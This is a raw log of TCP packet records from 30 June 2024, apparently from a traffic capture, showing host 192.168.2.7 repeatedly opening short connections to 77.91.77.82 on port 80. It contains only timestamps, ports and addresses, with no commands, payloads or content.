Jun 30, 2024 10:25:51.770859003 CEST	80	57628	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:51.770927906 CEST	57628	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:51.770941019 CEST	80	57627	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:51.770987988 CEST	57627	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:51.773039103 CEST	57628	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:51.777775049 CEST	80	57628	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:52.471890926 CEST	80	57628	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:52.472054958 CEST	57628	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:52.592530012 CEST	57629	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:52.592550039 CEST	57628	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:52.597524881 CEST	80	57629	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:52.597700119 CEST	57629	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:52.597781897 CEST	57629	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:52.598382950 CEST	80	57628	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:52.598779917 CEST	57628	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:52.602689981 CEST	80	57629	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:53.312787056 CEST	80	57629	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:53.312851906 CEST	57629	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:53.317053080 CEST	57629	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:53.317440033 CEST	57630	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:53.322865963 CEST	80	57629	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:53.322901964 CEST	80	57630	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:53.322935104 CEST	57629	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:53.322962999 CEST	57630	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:53.323400974 CEST	57630	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:53.328352928 CEST	80	57630	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:54.044656038 CEST	80	57630	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:54.044754028 CEST	57630	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:54.157793045 CEST	57630	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:54.157798052 CEST	57631	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:54.162853956 CEST	80	57631	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:54.163369894 CEST	80	57630	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:54.164429903 CEST	57630	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:54.164431095 CEST	57631	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:54.164655924 CEST	57631	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:54.169470072 CEST	80	57631	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:54.855271101 CEST	80	57631	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:54.855390072 CEST	57631	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:54.859086990 CEST	57631	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:54.860013008 CEST	57632	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:54.864332914 CEST	80	57631	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:54.864461899 CEST	57631	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:54.864864111 CEST	80	57632	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:54.865053892 CEST	57632	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:54.866461039 CEST	57632	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:54.871296883 CEST	80	57632	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:55.608033895 CEST	80	57632	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:55.608100891 CEST	57632	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:55.716768026 CEST	57632	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:55.717036009 CEST	57633	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:55.722018957 CEST	80	57633	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:55.722114086 CEST	57633	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:55.722347021 CEST	57633	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:55.722445965 CEST	80	57632	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:55.722515106 CEST	57632	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:55.728446007 CEST	80	57633	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:56.429361105 CEST	80	57633	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:56.432473898 CEST	57633	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:56.435372114 CEST	57633	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:56.441612959 CEST	80	57633	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:56.441766024 CEST	57633	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:56.617077112 CEST	57634	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:56.622015953 CEST	80	57634	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:56.624623060 CEST	57634	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:56.628524065 CEST	57634	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:56.634269953 CEST	80	57634	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:57.315243006 CEST	80	57634	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:57.315323114 CEST	57634	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:57.419820070 CEST	57634	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:57.420298100 CEST	57635	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:57.425118923 CEST	80	57635	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:57.425179958 CEST	57635	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:57.425437927 CEST	57635	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:57.425570011 CEST	80	57634	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:57.425625086 CEST	57634	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:57.430212975 CEST	80	57635	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:58.125955105 CEST	80	57635	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:58.126059055 CEST	57635	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:58.129012108 CEST	57635	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:58.129301071 CEST	57636	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:58.135210037 CEST	80	57635	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:58.135292053 CEST	80	57636	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:58.136533022 CEST	57635	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:58.136542082 CEST	57636	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:58.136677980 CEST	57636	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:58.141777992 CEST	80	57636	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:58.638380051 CEST	57636	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:58.750392914 CEST	57637	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:58.755467892 CEST	80	57637	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:58.755620956 CEST	57637	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:58.755861044 CEST	57637	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:58.761399984 CEST	80	57637	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:59.475613117 CEST	80	57637	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:59.475708008 CEST	57637	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:59.480245113 CEST	57637	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:59.480675936 CEST	57638	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:59.486134052 CEST	80	57638	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:59.486211061 CEST	57638	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:59.486640930 CEST	57638	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:59.488048077 CEST	80	57637	77.91.77.82	192.168.2.7
Jun 30, 2024 10:25:59.488126993 CEST	57637	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:25:59.494813919 CEST	80	57638	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:00.218909025 CEST	80	57638	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:00.219307899 CEST	57638	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:00.326389074 CEST	57638	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:00.326431036 CEST	57639	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:00.331423044 CEST	80	57639	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:00.332782984 CEST	80	57638	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:00.334475994 CEST	57638	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:00.334484100 CEST	57639	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:00.338402987 CEST	57639	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:00.343525887 CEST	80	57639	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:01.055469036 CEST	80	57639	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:01.055531025 CEST	57639	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:01.061466932 CEST	57639	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:01.061913013 CEST	57640	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:01.067022085 CEST	80	57640	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:01.067091942 CEST	57640	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:01.067456007 CEST	57640	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:01.067601919 CEST	80	57639	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:01.067652941 CEST	57639	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:01.072491884 CEST	80	57640	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:01.760978937 CEST	80	57640	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:01.761060953 CEST	57640	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:01.872303009 CEST	57640	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:01.872493982 CEST	57641	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:01.877594948 CEST	80	57640	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:01.877669096 CEST	80	57641	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:01.877721071 CEST	57640	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:01.877737045 CEST	57641	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:01.878123045 CEST	57641	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:01.883069992 CEST	80	57641	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:02.642155886 CEST	80	57641	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:02.644624949 CEST	57641	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:02.646981001 CEST	57641	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:02.648478031 CEST	57642	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:02.653374910 CEST	80	57642	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:02.654128075 CEST	57642	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:02.654278994 CEST	57642	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:02.654323101 CEST	80	57641	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:02.656606913 CEST	57641	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:02.659241915 CEST	80	57642	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:03.362046003 CEST	80	57642	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:03.362164021 CEST	57642	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:03.467348099 CEST	57642	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:03.467730045 CEST	57643	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:03.472798109 CEST	80	57643	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:03.472868919 CEST	57643	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:03.473084927 CEST	80	57642	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:03.473148108 CEST	57642	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:03.473335028 CEST	57643	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:03.478368998 CEST	80	57643	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:04.160259008 CEST	80	57643	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:04.160494089 CEST	57643	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:04.163110018 CEST	57643	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:04.163778067 CEST	57644	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:04.168690920 CEST	80	57643	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:04.168725967 CEST	80	57644	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:04.168937922 CEST	57643	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:04.168936968 CEST	57644	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:04.169188023 CEST	57644	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:04.174093962 CEST	80	57644	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:04.956080914 CEST	80	57644	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:04.956166029 CEST	57644	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:05.060693026 CEST	57644	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:05.061012983 CEST	57645	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:05.065943003 CEST	80	57645	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:05.065984011 CEST	80	57644	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:05.066020012 CEST	57645	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:05.066063881 CEST	57644	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:05.066210985 CEST	57645	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:05.071160078 CEST	80	57645	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:05.752757072 CEST	80	57645	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:05.752810955 CEST	57645	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:05.756735086 CEST	57645	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:05.757110119 CEST	57646	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:05.761960030 CEST	80	57645	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:05.761976957 CEST	80	57646	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:05.762011051 CEST	57645	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:05.762053013 CEST	57646	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:05.762514114 CEST	57646	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:05.767394066 CEST	80	57646	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:06.456578970 CEST	80	57646	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:06.457187891 CEST	57646	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:06.575515985 CEST	57646	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:06.575618029 CEST	57647	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:06.580473900 CEST	80	57647	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:06.580616951 CEST	57647	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:06.580924988 CEST	80	57646	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:06.580955029 CEST	57647	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:06.581145048 CEST	57646	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:06.585710049 CEST	80	57647	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:07.285444021 CEST	80	57647	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:07.285527945 CEST	57647	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:07.289601088 CEST	57647	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:07.290076017 CEST	57648	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:07.295057058 CEST	80	57647	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:07.295097113 CEST	80	57648	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:07.295126915 CEST	57647	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:07.295178890 CEST	57648	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:07.295422077 CEST	57648	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:07.300290108 CEST	80	57648	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:08.006232023 CEST	80	57648	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:08.006377935 CEST	57648	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:08.121653080 CEST	57648	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:08.126419067 CEST	57649	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:08.330581903 CEST	80	57649	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:08.330698013 CEST	80	57648	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:08.330740929 CEST	57649	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:08.330935001 CEST	57649	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:08.331017971 CEST	57648	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:08.335730076 CEST	80	57649	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:09.027808905 CEST	80	57649	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:09.027873039 CEST	57649	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:09.032049894 CEST	57649	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:09.032644033 CEST	57650	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:09.037503958 CEST	80	57649	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:09.037559986 CEST	57649	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:09.037918091 CEST	80	57650	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:09.037980080 CEST	57650	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:09.038259983 CEST	57650	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:09.043041945 CEST	80	57650	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:09.739186049 CEST	80	57650	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:09.739274025 CEST	57650	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:09.871936083 CEST	57650	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:09.872243881 CEST	57651	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:09.877162933 CEST	80	57650	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:09.877181053 CEST	80	57651	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:09.877238035 CEST	57650	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:09.877279043 CEST	57651	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:09.877528906 CEST	57651	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:09.882388115 CEST	80	57651	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:10.563479900 CEST	80	57651	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:10.564516068 CEST	57651	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:10.567368031 CEST	57651	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:10.567369938 CEST	57652	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:10.572873116 CEST	80	57652	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:10.573606014 CEST	80	57651	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:10.574460030 CEST	57651	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:10.574460983 CEST	57652	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:10.574680090 CEST	57652	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:10.579807043 CEST	80	57652	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:11.284971952 CEST	80	57652	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:11.285048008 CEST	57652	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:11.404553890 CEST	57652	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:11.405108929 CEST	57653	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:11.409845114 CEST	80	57652	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:11.409888983 CEST	80	57653	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:11.409898996 CEST	57652	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:11.409961939 CEST	57653	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:11.410173893 CEST	57653	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:11.414911985 CEST	80	57653	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:12.124366045 CEST	80	57653	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:12.126275063 CEST	57653	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:12.139863968 CEST	57653	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:12.140305042 CEST	57654	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:12.145147085 CEST	80	57653	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:12.145184994 CEST	80	57654	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:12.145301104 CEST	57653	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:12.145301104 CEST	57654	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:12.145646095 CEST	57654	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:12.150449991 CEST	80	57654	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:12.853837013 CEST	80	57654	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:12.854012966 CEST	57654	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:12.967226028 CEST	57654	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:12.967768908 CEST	57655	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:12.972547054 CEST	80	57654	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:12.972589970 CEST	80	57655	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:12.972601891 CEST	57654	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:12.972678900 CEST	57655	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:12.972800970 CEST	57655	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:12.978027105 CEST	80	57655	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:13.687695026 CEST	80	57655	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:13.687814951 CEST	57655	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:13.690339088 CEST	57655	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:13.690629005 CEST	57656	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:13.695491076 CEST	80	57656	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:13.695578098 CEST	57656	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:13.695610046 CEST	80	57655	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:13.695652962 CEST	57655	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:13.695795059 CEST	57656	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:13.700571060 CEST	80	57656	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:14.432378054 CEST	80	57656	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:14.432518005 CEST	57656	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:14.606244087 CEST	57656	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:14.606647968 CEST	57657	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:14.611512899 CEST	80	57657	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:14.611557961 CEST	80	57656	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:14.611634016 CEST	57657	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:14.611671925 CEST	57656	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:14.611780882 CEST	57657	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:14.616520882 CEST	80	57657	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:15.297631025 CEST	80	57657	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:15.297703028 CEST	57657	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:15.301690102 CEST	57657	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:15.302258015 CEST	57658	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:15.307322025 CEST	80	57657	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:15.307356119 CEST	80	57658	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:15.307380915 CEST	57657	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:15.307424068 CEST	57658	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:15.307744980 CEST	57658	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:15.312542915 CEST	80	57658	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:16.033077955 CEST	80	57658	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:16.033170938 CEST	57658	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:16.137821913 CEST	57659	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:16.137824059 CEST	57658	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:16.142796040 CEST	80	57659	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:16.144593954 CEST	80	57658	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:16.144689083 CEST	57659	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:16.144694090 CEST	57658	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:16.146384954 CEST	57659	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:16.151329994 CEST	80	57659	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:16.841975927 CEST	80	57659	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:16.842386961 CEST	57659	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:16.866955042 CEST	57659	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:16.866956949 CEST	57660	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:16.872602940 CEST	80	57660	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:16.872687101 CEST	57660	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:16.873574972 CEST	80	57659	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:16.874653101 CEST	57659	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:16.879940033 CEST	57660	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:16.884746075 CEST	80	57660	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:17.562267065 CEST	80	57660	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:17.562355042 CEST	57660	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:17.668889999 CEST	57660	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:17.669298887 CEST	57661	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:17.674105883 CEST	80	57661	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:17.674201965 CEST	57661	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:17.674232960 CEST	80	57660	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:17.674285889 CEST	57660	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:17.674434900 CEST	57661	80	192.168.2.7	77.91.77.82
Jun 30, 2024 10:26:17.679260015 CEST	80	57661	77.91.77.82	192.168.2.7
Jun 30, 2024 10:26:18.380106926 CEST	80	57661	77.91.77.82	192.168.2.7
